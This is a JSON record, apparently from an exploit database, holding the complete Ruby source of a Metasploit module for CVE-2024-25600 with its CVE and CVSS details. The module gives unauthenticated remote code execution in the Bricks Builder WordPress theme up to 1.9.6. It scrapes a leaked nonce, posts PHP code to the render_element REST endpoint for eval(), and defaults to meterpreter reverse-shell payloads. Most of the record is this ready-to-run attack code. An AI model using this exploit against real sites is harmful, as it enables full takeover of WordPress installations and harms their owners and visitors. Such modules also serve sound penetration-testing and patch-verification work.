{"exploit":{"id":"MSF-multi--http--wp_bricks_builder_rce","name":"Unauthenticated RCE in Bricks Builder Theme","description":"This module exploits an unauthenticated remote code execution vulnerability in the Bricks Builder Theme versions <= 1.9.6 for WordPress. The vulnerability allows attackers to execute arbitrary PHP code by leveraging a nonce leakage to bypass authentication and exploit the eval() function usage within the theme. Successful exploitation allows for full control of the affected WordPress site. It is recommended to upgrade to version 1.9.6.1 or higher.","cves":["CVE-2024-25600"],"author":"Calvin Alkan, Valentin Lobstein","published":"2024-02-19","platform":"Linux,PHP,Unix,Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/http/wp_bricks_builder_rce.rb","path":"modules/exploits/multi/http/wp_bricks_builder_rce.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"wp_bricks_builder_rce.rb","vulnerabilities":[{"id":"CVE-2024-25600","state":"PUBLISHED","title":"WordPress Bricks Theme <= 1.9.6 - Unauthenticated Remote Code Execution (RCE) vulnerability","titleSource":"CVE Program","description":"Improper Control of Generation of Code ('Code Injection') vulnerability in Codeer Limited Bricks Builder allows Code Injection.This issue affects Bricks Builder: from n/a through 1.9.6.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2024-25600","cvss":{"version":"3.1","baseScore":10,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","source":"Patchstack","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2024-25600"},"updatedAt":"2026-04-28T16:09:12.815Z","retrievedAt":"2026-11-25T16:13:47.425Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--wp_bricks_builder_rce.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--wp_bricks_builder_rce","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--wp_bricks_builder_rce/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--wp_bricks_builder_rce/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::Remote::HTTP::Wordpress\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Unauthenticated RCE in Bricks Builder Theme',\n        'Description' => %q{\n          This module exploits an unauthenticated remote code execution vulnerability in the\n          Bricks Builder Theme versions <= 1.9.6 for WordPress. The vulnerability allows attackers\n          to execute arbitrary PHP code by leveraging a nonce leakage to bypass authentication and\n          exploit the eval() function usage within the theme. Successful exploitation allows for full\n          control of the affected WordPress site. It is recommended to upgrade to version 1.9.6.1 or higher.\n        },\n        'Author' => [\n          'Calvin Alkan', # Vulnerability discovery\n          'Valentin Lobstein' # Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2024-25600'],\n          ['URL', 'https://github.com/Chocapikk/CVE-2024-25600'],\n          ['URL', 'https://snicco.io/vulnerability-disclosure/bricks/unauthenticated-rce-in-bricks-1-9-6'],\n          ['WPVDB', 'afea4f8c-4d45-4cc0-8eb7-6fa6748158bd']\n        ],\n        'DisclosureDate' => '2024-02-19',\n        'Notes' => {\n          'Stability' => [ CRASH_SAFE ],\n          'SideEffects' => [ IOC_IN_LOGS ],\n          'Reliability' => [ REPEATABLE_SESSION ]\n        },\n        'Targets' => [\n          [\n            'PHP In-Memory',\n            {\n              'Platform' => 'php',\n              'Arch' => ARCH_PHP,\n              'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },\n              'Type' => :php_memory\n            }\n          ],\n          [\n            'Unix In-Memory',\n            {\n              'Platform' => ['unix', 'linux'],\n              'Arch' => ARCH_CMD,\n              'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' },\n              'Type' => :unix_memory\n            }\n          ],\n          [\n            'Windows In-Memory',\n            {\n              'Platform' => 'win',\n              'Arch' => ARCH_CMD,\n              'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp' },\n              'Type' => :win_memory\n            }\n          ],\n        ],\n        'Privileged' => false\n      )\n    )\n  end\n\n  def fetch_nonce\n    uri = normalize_uri(target_uri.path)\n    res = send_request_cgi('method' => 'GET', 'uri' => uri)\n    return nil unless res&.code == 200\n\n    script_tag_match = res.body.match(%r{<script id=\"bricks-scripts-js-extra\"[^>]*>([\\s\\S]*?)</script>})\n    return nil unless script_tag_match\n\n    script_content = script_tag_match[1]\n    nonce_match = script_content.match(/\"nonce\":\"([a-f0-9]+)\"/)\n    nonce_match ? nonce_match[1] : nil\n  end\n\n  def exploit\n    nonce = fetch_nonce\n    fail_with(Failure::NoAccess, 'Failed to retrieve nonce. Exiting...') unless nonce\n\n    print_good(\"Nonce retrieved: #{nonce}\")\n\n    send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'index.php'),\n      'ctype' => 'application/json',\n      'data' => {\n        'postId' => rand(1..10000).to_s,\n        'nonce' => nonce,\n        'element' => {\n          'name' => 'code',\n          'settings' => {\n            'executeCode' => 'true',\n            'code' => \"<?php #{payload_instance.arch.include?(ARCH_PHP) ? payload.encoded : \"system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'))\"} ?>\"\n          }\n        }\n      }.to_json,\n      'vars_get' => {\n        'rest_route' => '/bricks/v1/render_element'\n      }\n    )\n  end\n\n  def check\n    return CheckCode::Unknown('WordPress does not appear to be online.') unless wordpress_and_online?\n\n    wp_version = wordpress_version\n    print_status(\"WordPress Version: #{wp_version}\") if wp_version\n\n    theme_check_code = check_theme_version_from_style('bricks', '1.9.6.1')\n    return CheckCode::Unknown('The Bricks Builder theme does not appear to be installed') unless theme_check_code\n    return CheckCode::Detected('The Bricks Builder theme is running but the version was unable to be determined') if theme_check_code.code == 'detected'\n    return CheckCode::Safe(\"The Bricks Builder is running version: #{theme_check_code.details[:version]}, which is not vulnerable.\") unless theme_check_code.code == 'appears'\n\n    theme_version = theme_check_code.details[:version]\n    print_good(\"Detected Bricks Builder theme version: #{theme_version}\")\n    CheckCode::Appears('The target appears to be a vulnerable version')\n  end\n\nend\n","sha256":"c9af88eb7a2e782ec9b27e6c51374b92904825218325aad1b7679614d739c7ea","bytes":4868,"fetchedAt":"2026-11-26T08:58:54.197Z","encoding":"utf-8 (display only; download retains original bytes)"}